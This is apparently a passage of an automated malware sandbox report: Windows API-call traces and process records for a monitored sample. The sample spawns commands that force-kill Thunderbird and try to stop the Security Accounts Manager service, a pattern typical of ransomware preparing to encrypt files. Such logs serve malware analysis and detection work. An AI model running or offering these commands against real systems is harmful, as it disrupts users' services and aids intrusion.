	[0134.732] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b6a0) returned 0x18
	[0134.732] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6a0 | out: hHeap=0x200000) returned 1
	[0134.732] GetProcessHeap () returned 0x200000
	[0134.732] GetProcessHeap () returned 0x200000
	[0134.732] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0) returned 1
	[0134.732] GetProcessHeap () returned 0x200000
	[0134.732] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ba0) returned 0x20
	[0134.732] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0 | out: hHeap=0x200000) returned 1
	[0134.732] GetProcessHeap () returned 0x200000
	[0134.732] GetProcessHeap () returned 0x200000
	[0134.732] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30) returned 1
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c30) returned 0x20
	[0134.733] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30 | out: hHeap=0x200000) returned 1
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6c0) returned 1
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b6c0) returned 0x18
	[0134.733] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6c0 | out: hHeap=0x200000) returned 1
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.733] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60) returned 1
	[0134.733] GetProcessHeap () returned 0x200000
	[0134.734] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c60) returned 0x20
	[0134.734] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60 | out: hHeap=0x200000) returned 1
	[0134.734] GetProcessHeap () returned 0x200000
	[0134.734] GetProcessHeap () returned 0x200000
	[0134.734] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b640) returned 1
	[0134.734] GetProcessHeap () returned 0x200000
	[0134.734] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b640) returned 0x18
	[0134.734] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b640 | out: hHeap=0x200000) returned 1
	[0134.734] exit (_Code=0) 

Process:
	id = "30"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x2ebf9000"
	os_pid = "0xcbc"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 247
	os_tid = 0xcc0


Thread:
	id = 304
	os_tid = 0xd8c


Thread:
	id = 312
	os_tid = 0xdb8


Thread:
	id = 342
	os_tid = 0xe34


Thread:
	id = 343
	os_tid = 0xe38


Process:
	id = "31"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x2f58c000"
	os_pid = "0xd34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 273
	os_tid = 0xd38


Thread:
	id = 300
	os_tid = 0xd7c


Thread:
	id = 307
	os_tid = 0xd98


Thread:
	id = 314
	os_tid = 0xdc0


Thread:
	id = 315
	os_tid = 0xdc4


Process:
	id = "32"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0xd1f5000"
	os_pid = "0x2c8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "11"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 274
	os_tid = 0xa28


Thread:
	id = 275
	os_tid = 0xba4


Thread:
	id = 276
	os_tid = 0x3a4


Thread:
	id = 277
	os_tid = 0x5e0


Thread:
	id = 278
	os_tid = 0xb0


Thread:
	id = 279
	os_tid = 0x5b4


Thread:
	id = 280
	os_tid = 0x20c


Thread:
	id = 281
	os_tid = 0x358


Thread:
	id = 282
	os_tid = 0x7e4


Thread:
	id = 283
	os_tid = 0x7e0


Thread:
	id = 284
	os_tid = 0x540


Thread:
	id = 285
	os_tid = 0x538


Thread:
	id = 286
	os_tid = 0x52c


Thread:
	id = 287
	os_tid = 0x264


Thread:
	id = 288
	os_tid = 0x1cc


Thread:
	id = 289
	os_tid = 0x3c0


Thread:
	id = 290
	os_tid = 0x2fc


Thread:
	id = 291
	os_tid = 0x2f8


Thread:
	id = 292
	os_tid = 0x2d4


Thread:
	id = 293
	os_tid = 0x2cc


Thread:
	id = 569
	os_tid = 0x69c


Thread:
	id = 1541
	os_tid = 0x1df8


Process:
	id = "33"
	image_name = "wmiadap.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiadap.exe"
	page_root = "0x2dd77000"
	os_pid = "0xd48"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x370"
	cmd_line = "wmiadap.exe /F /T /R"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 294
	os_tid = 0xd4c


Thread:
	id = 295
	os_tid = 0xd50


Thread:
	id = 296
	os_tid = 0xd54


Thread:
	id = 297
	os_tid = 0xd58


Thread:
	id = 298
	os_tid = 0xd60


Thread:
	id = 299
	os_tid = 0xd64


Process:
	id = "34"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2b0d9000"
	os_pid = "0xda0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 309
	os_tid = 0xda4


Process:
	id = "35"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x1d0ae000"
	os_pid = "0xe7c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 359
	os_tid = 0xe80


Process:
	id = "36"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x2a1a2000"
	os_pid = "0xf68"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "34"
	os_parent_pid = "0xda0"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 412
	os_tid = 0xf6c

	[0163.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f830 | out: lpSystemTimeAsFileTime=0x24f830*(dwLowDateTime=0x31fe5130, dwHighDateTime=0x1d5cdef)) 
	[0163.638] GetCurrentProcessId () returned 0xf68
	[0163.639] GetCurrentThreadId () returned 0xf6c
	[0163.639] GetTickCount () returned 0x116ed3c
	[0163.639] QueryPerformanceCounter (in: lpPerformanceCount=0x24f838 | out: lpPerformanceCount=0x24f838*=30539166812) returned 1
	[0163.640] GetModuleHandleW (lpModuleName=0x0) returned 0xff060000
	[0163.640] __set_app_type (_Type=0x1) 
	[0163.640] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff079c9c) returned 0x0
	[0163.641] __getmainargs (in: _Argc=0xff084780, _Argv=0xff084790, _Env=0xff084788, _DoWildCard=0, _StartInfo=0xff08479c | out: _Argc=0xff084780, _Argv=0xff084790, _Env=0xff084788) returned 0
	[0163.642] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0163.642] GetConsoleOutputCP () returned 0x1b5
	[0163.642] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff08cec0 | out: lpCPInfo=0xff08cec0) returned 1
	[0163.643] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0163.649] sprintf_s (in: _DstBuf=0x24f7d8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0163.650] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0163.654] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0163.654] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0163.654] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0163.654] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24f570, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0163.654] RtlAllocateHeap (HeapHandle=0x60000, Flags=0x0, Size=0x6e) returned 0x7c060
	[0163.654] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0163.655] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24f7c8 | out: Buffer=0x24f7c8*=0x74d40) returned 0x0
	[0163.655] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24f7c8 | out: Buffer=0x24f7c8*=0x7c0e0) returned 0x0
	[0163.655] _fileno (_File=0x7fefe122a80) returned 0
	[0163.655] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0163.656] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0163.656] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0163.656] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0163.656] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0163.656] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0163.656] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0163.656] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0163.656] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0163.656] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0163.656] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0163.656] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0163.656] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0163.656] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0163.656] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0163.656] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0163.657] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0163.657] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0163.657] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0163.657] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0163.657] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0163.657] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0163.657] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0163.657] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0163.657] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0163.657] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0163.657] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0163.657] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0163.657] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0163.657] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0163.657] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0163.658] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0163.658] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0163.658] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0163.658] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0163.658] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0163.658] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0163.658] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0163.658] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0163.658] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0163.658] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0163.658] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0163.658] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0163.658] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0163.658] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0163.658] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0163.659] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0163.659] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0163.659] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0163.659] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0163.659] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0163.659] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0163.659] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0163.660] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0163.660] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0163.660] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0163.660] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0163.660] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0163.660] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0163.660] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0163.660] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0163.660] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0163.660] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0163.660] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0163.660] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0163.661] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0163.661] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0163.662] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x7cdf0
	[0163.837] GetServiceKeyNameW (in: hSCManager=0x7cdf0, lpDisplayName="SAMSS", lpServiceName=0xff085750, lpcchBuffer=0x24f6e8 | out: lpServiceName="", lpcchBuffer=0x24f6e8) returned 0
	[0163.840] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0163.840] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0163.840] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0163.840] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0163.841] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0163.841] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0163.841] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0163.841] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0163.841] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0163.841] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0163.841] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0163.841] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0163.841] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0163.841] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0163.841] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0163.841] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0163.842] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0163.842] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0163.842] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0163.842] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x24f6f0 | out: bufptr=0x24f6f0) returned 0x0
	[0163.849] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x24f6a8 | out: Buffer=0x24f6a8*=0x80c70) returned 0x0
	[0163.849] OpenServiceW (hSCManager=0x7cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x7ce50
	[0163.850] QueryServiceStatus (in: hService=0x7ce50, lpServiceStatus=0x24f650 | out: lpServiceStatus=0x24f650*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0163.851] NetApiBufferFree (Buffer=0x80c70) returned 0x0
	[0163.851] CloseServiceHandle (hSCObject=0x7ce50) returned 1
	[0163.852] wcscpy_s (in: _Destination=0xff0880d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0163.852] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0163.863] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff085b50, nSize=0x800, Arguments=0xff087f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0163.869] GetFileType (hFile=0xb) returned 0x2
	[0163.871] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f548 | out: lpMode=0x24f548) returned 1
	[0163.872] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff085b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x24f540, lpReserved=0x0 | out: lpBuffer=0xff085b50*, lpNumberOfCharsWritten=0x24f540*=0x47) returned 1
	[0163.873] GetFileType (hFile=0xb) returned 0x2
	[0163.874] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f548 | out: lpMode=0x24f548) returned 1
	[0163.874] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff061efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f540, lpReserved=0x0 | out: lpBuffer=0xff061efc*, lpNumberOfCharsWritten=0x24f540*=0x2) returned 1
	[0163.875] _ultow (in: _Dest=0x88f, _Radix=2422192 | out: _Dest=0x88f) returned="2191"
	[0163.875] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff085b50, nSize=0x800, Arguments=0xff087f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0163.876] GetFileType (hFile=0xb) returned 0x2
	[0163.877] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f548 | out: lpMode=0x24f548) returned 1
	[0163.879] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff085b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x24f540, lpReserved=0x0 | out: lpBuffer=0xff085b50*, lpNumberOfCharsWritten=0x24f540*=0x34) returned 1
	[0164.099] GetFileType (hFile=0xb) returned 0x2
	[0164.100] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f548 | out: lpMode=0x24f548) returned 1
	[0164.101] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff061efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f540, lpReserved=0x0 | out: lpBuffer=0xff061efc*, lpNumberOfCharsWritten=0x24f540*=0x2) returned 1
	[0164.102] NetApiBufferFree (Buffer=0x74d40) returned 0x0
	[0164.102] NetApiBufferFree (Buffer=0x7c0e0) returned 0x0
	[0164.102] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0164.102] exit (_Code=2) 

Process:
	id = "37"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x1cc75000"
	os_pid = "0x10f0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "35"
	os_parent_pid = "0xe7c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 635
	os_tid = 0x10f4

	[0170.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fd10 | out: lpSystemTimeAsFileTime=0x28fd10*(dwLowDateTime=0x35ed36d0, dwHighDateTime=0x1d5cdef)) 
	[0170.235] GetCurrentProcessId () returned 0x10f0
	[0170.235] GetCurrentThreadId () returned 0x10f4
	[0170.235] GetTickCount () returned 0x1170703
	[0170.235] QueryPerformanceCounter (in: lpPerformanceCount=0x28fd18 | out: lpPerformanceCount=0x28fd18*=31198795145) returned 1
	[0170.238] GetModuleHandleW (lpModuleName=0x0) returned 0xff9e0000
	[0170.238] __set_app_type (_Type=0x1) 
	[0170.238] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f9c9c) returned 0x0
	[0170.238] __getmainargs (in: _Argc=0xffa04780, _Argv=0xffa04790, _Env=0xffa04788, _DoWildCard=0, _StartInfo=0xffa0479c | out: _Argc=0xffa04780, _Argv=0xffa04790, _Env=0xffa04788) returned 0
	[0170.239] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0170.239] GetConsoleOutputCP () returned 0x1b5
	[0170.667] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffa0cec0 | out: lpCPInfo=0xffa0cec0) returned 1
	[0170.667] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0170.673] sprintf_s (in: _DstBuf=0x28fcb8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0170.674] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0170.678] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0170.678] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0170.678] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0170.679] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28fa50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0170.679] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x6e) returned 0x48c060
	[0170.684] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0170.684] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x28fca8 | out: Buffer=0x28fca8*=0x484d40) returned 0x0
	[0170.684] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x28fca8 | out: Buffer=0x28fca8*=0x48c0e0) returned 0x0
	[0170.684] _fileno (_File=0x7fefe122a80) returned 0
	[0170.684] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0170.685] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0170.685] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0170.685] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0170.685] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0170.685] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0170.685] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0170.685] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0170.685] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0170.686] _wcsicmp (_String1="groups", _String2="stop") returned -12
